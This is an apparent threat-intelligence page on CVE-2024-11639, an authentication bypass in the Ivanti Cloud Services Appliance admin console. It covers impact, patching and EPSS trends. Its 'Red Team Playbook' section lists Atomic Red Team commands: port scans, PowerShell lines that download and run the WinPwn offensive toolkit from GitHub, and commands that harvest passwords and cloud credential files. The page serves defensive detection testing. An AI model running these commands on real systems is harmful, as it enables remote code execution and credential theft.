CVE-2024-11639
Overview
This vulnerability is an authentication bypass affecting the admin web console component of Ivanti Cloud Services Application prior to version 5.0.3. The root cause lies in improper validation of authentication tokens or session management mechanisms, allowing unauthenticated remote attackers to bypass login controls. The flaw specifically compromises the administrative access control enforcement within the web interface.
Vulnerability Description
An authentication bypass in the admin web console of Ivanti CSA before 5.0.3 allows a remote unauthenticated attacker to gain administrative access
Impact
An unauthenticated remote attacker can gain full administrative access to the Ivanti Cloud Services Application, enabling control over the system's configuration and management functions. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), allowing attackers to compromise confidentiality, integrity, and availability at a system-wide scope. This can lead to unauthorized data access, manipulation, and potential disruption of cloud service operations, severely impacting business continuity and security posture.
Solution
Ivanti has addressed this vulnerability in Ivanti Cloud Services Application version 5.0.3. Administrators should apply the update to version 5.0.3 or later as recommended in the Ivanti Security Advisory available at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-11639-CVE-2024-11772-CVE-2024-11773. No specific workarounds are documented; timely patching is the primary mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the admin web console of Ivanti Cloud Services Appliance prior to version 5.0.3 presents a significant security risk due to an authentication bypass flaw. This issue allows remote unauthenticated attackers to gain administrative access to the system, effectively circumventing the security measures that are typically in place to protect sensitive administrative functions. The root cause of this vulnerability lies in improper validation of user credentials, which can be exploited by an attacker to gain unauthorized access without needing valid login information. This flaw underscores the critical importance of robust authentication mechanisms in web applications, particularly those that manage sensitive data and system configurations.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage automated tools to scan for instances of the Ivanti Cloud Services Appliance that are running vulnerable versions. Once identified, the attacker can exploit the authentication bypass to access the admin console directly. This could lead to a range of malicious activities, including but not limited to unauthorized configuration changes, data exfiltration, or even the deployment of malware within the affected environment. The ease of exploitation, combined with the potential for significant control over the system, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be profound, especially for organizations relying on Ivanti's solutions for critical business operations. Gaining administrative access means that an attacker could manipulate system settings, access sensitive data, and potentially compromise the integrity and availability of the services provided. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, particularly if sensitive customer data is exposed or misused. Organizations could face downtime as they scramble to remediate the issue, and the long-term implications of a data breach could lead to loss of customer trust and market share.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Ivanti Cloud Services Appliance to the latest version is crucial, as this will ensure that known vulnerabilities are patched. Additionally, organizations should conduct routine security assessments and penetration testing to identify potential weaknesses in their systems. Implementing robust logging and monitoring solutions can help detect unauthorized access attempts, allowing for rapid response to potential breaches. Furthermore, employing network segmentation and limiting access to the admin console to trusted IP addresses can reduce the attack surface and hinder unauthorized access attempts.
In conclusion, the authentication bypass vulnerability in the Ivanti Cloud Services Appliance poses a serious threat to organizations that utilize this product. The potential for remote unauthenticated access to administrative functions can lead to severe consequences, including data breaches and operational disruptions. By prioritizing timely updates, proactive security measures, and comprehensive monitoring, organizations can significantly mitigate the risks associated with this vulnerability and enhance their overall security posture. The evolving threat landscape necessitates a vigilant and informed approach to cybersecurity, particularly for critical infrastructure and services.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-11639, reflecting a growing likelihood of exploitation attempts targeting the Ivanti Cloud Services Application vulnerability. Although no new exploit techniques or proof-of-concept code have surfaced, the 32.1% rise in EPSS indicates heightened attacker interest or improved exploit feasibility. This upward trend, while not rapid, places the vulnerability in a higher percentile of exploitation risk, signaling that threat actors may be preparing or testing attack vectors more actively. For defenders, this shift underscores an elevated threat environment where the window for potential compromise is narrowing, necessitating increased vigilance in monitoring and detection efforts. The risk assessment should be adjusted to reflect this increased probability of exploitation, maintaining the vulnerability’s critical status but with an emphasis on its growing immediacy in the threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Cloud Services Appliance | All |
cpe:2.3:a:ivanti:cloud_services_appliance:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11639 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-11639-CVE-2024-11772-CVE-2024-11773 |